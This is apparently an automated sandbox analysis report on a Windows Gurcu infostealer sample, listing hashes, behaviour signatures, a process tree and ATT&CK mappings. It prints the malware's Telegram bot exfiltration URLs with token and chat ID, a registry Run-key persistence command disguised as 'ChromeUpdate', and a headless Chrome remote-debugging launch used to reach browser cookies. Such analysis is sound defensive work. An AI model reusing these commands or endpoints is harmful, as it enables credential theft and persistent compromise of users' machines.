Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-01-2025 02:13
Static task
static1
Behavioral task
behavioral1
Sample
30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe
Resource
win10v2004-20241007-en
General
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Target
30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe
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Size
5.7MB
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MD5
fb25fdd6ff14150c12aadd9ee2d1a132
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SHA1
3cfb3536cd95f0b45e3540241b29aaac8195969b
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SHA256
30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c
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SHA512
ffa52a7225aab5c5518d2ec872b20bb81a964b41205308cb72356e8f443b333a89239920989ffe032f5b5009d34ea04c4ffa8944e648633321c9a6685a3d9494
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SSDEEP
98304:m2+l27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Ucz:moOuK6mn9NzgMoYkSIvUcwti7TQlvciE
Malware Config
Extracted
gurcu
https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb
https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=-1002258988684
https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%B8Screenshot%20take
Signatures
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Gurcu family
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Uses browser remote debugging 2 TTPs 1 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
pid Process 2856 chrome.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation conhost.exe -
Executes dropped EXE 1 IoCs
pid Process 3892 conhost.exe -
Loads dropped DLL 2 IoCs
pid Process 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 3892 conhost.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdate\\conhost.exe" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 11 raw.githubusercontent.com 12 raw.githubusercontent.com 30 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4568 tasklist.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 conhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier conhost.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4824 timeout.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2608 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe 3892 conhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe Token: SeDebugPrivilege 4568 tasklist.exe Token: SeDebugPrivilege 3892 conhost.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe Token: SeCreatePagefilePrivilege 2856 chrome.exe Token: SeShutdownPrivilege 2856 chrome.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1576 wrote to memory of 3060 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 89 PID 1576 wrote to memory of 3060 1576 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe 89 PID 3060 wrote to memory of 4988 3060 cmd.exe 91 PID 3060 wrote to memory of 4988 3060 cmd.exe 91 PID 3060 wrote to memory of 4568 3060 cmd.exe 92 PID 3060 wrote to memory of 4568 3060 cmd.exe 92 PID 3060 wrote to memory of 1316 3060 cmd.exe 93 PID 3060 wrote to memory of 1316 3060 cmd.exe 93 PID 3060 wrote to memory of 4824 3060 cmd.exe 94 PID 3060 wrote to memory of 4824 3060 cmd.exe 94 PID 3060 wrote to memory of 3892 3060 cmd.exe 95 PID 3060 wrote to memory of 3892 3060 cmd.exe 95 PID 3892 wrote to memory of 2788 3892 conhost.exe 98 PID 3892 wrote to memory of 2788 3892 conhost.exe 98 PID 2788 wrote to memory of 2608 2788 cmd.exe 100 PID 2788 wrote to memory of 2608 2788 cmd.exe 100 PID 3892 wrote to memory of 2856 3892 conhost.exe 101 PID 3892 wrote to memory of 2856 3892 conhost.exe 101 PID 2856 wrote to memory of 696 2856 chrome.exe 102 PID 2856 wrote to memory of 696 2856 chrome.exe 102 PID 2856 wrote to memory of 4840 2856 chrome.exe 103 PID 2856 wrote to memory of 4840 2856 chrome.exe 103 PID 2856 wrote to memory of 2028 2856 chrome.exe 104 PID 2856 wrote to memory of 2028 2856 chrome.exe 104
Processes
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C:\Users\Admin\AppData\Local\Temp\30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe"C:\Users\Admin\AppData\Local\Temp\30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpEE77.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpEE77.tmp.bat2⤵
- Suspicious use of WriteProcessMemory
PID:3060 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:4988
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C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 1576"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4568
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C:\Windows\system32\find.exefind ":"3⤵PID:1316
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C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak3⤵
- Delays execution with timeout.exe
PID:4824
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C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f4⤵
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f5⤵
- Adds Run key to start application
- Modifies registry key
PID:2608
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --headless --no-sandbox --disable-gpu4⤵
- Uses browser remote debugging
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffde804cc40,0x7ffde804cc4c,0x7ffde804cc585⤵PID:696
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1488,i,6906437190134259092,843316112711196903,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1476 /prefetch:25⤵PID:4840
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --headless --field-trial-handle=1572,i,6906437190134259092,843316112711196903,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1568 /prefetch:35⤵PID:2028
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Modify Authentication Process
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
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Filesize
343B
MD526874e3fa5b76d46a9423d4e1e289278
SHA173ee73e5d6222dd3c4214a50083b0d3b7cb384be
SHA2561065fdaca90873c4a49a9e270450eb1006f72226d71ced1671ba07ba77618642
SHA51260a77721a6de6905563de3463a2b061c9e2fb35479355ebae176a6d6db56a2efbb9d040cbf415e17ae23dad7d2dc090bf8670623710956b12d019195254bff7f
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Filesize
5.7MB
MD5fb25fdd6ff14150c12aadd9ee2d1a132
SHA13cfb3536cd95f0b45e3540241b29aaac8195969b
SHA25630aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c
SHA512ffa52a7225aab5c5518d2ec872b20bb81a964b41205308cb72356e8f443b333a89239920989ffe032f5b5009d34ea04c4ffa8944e648633321c9a6685a3d9494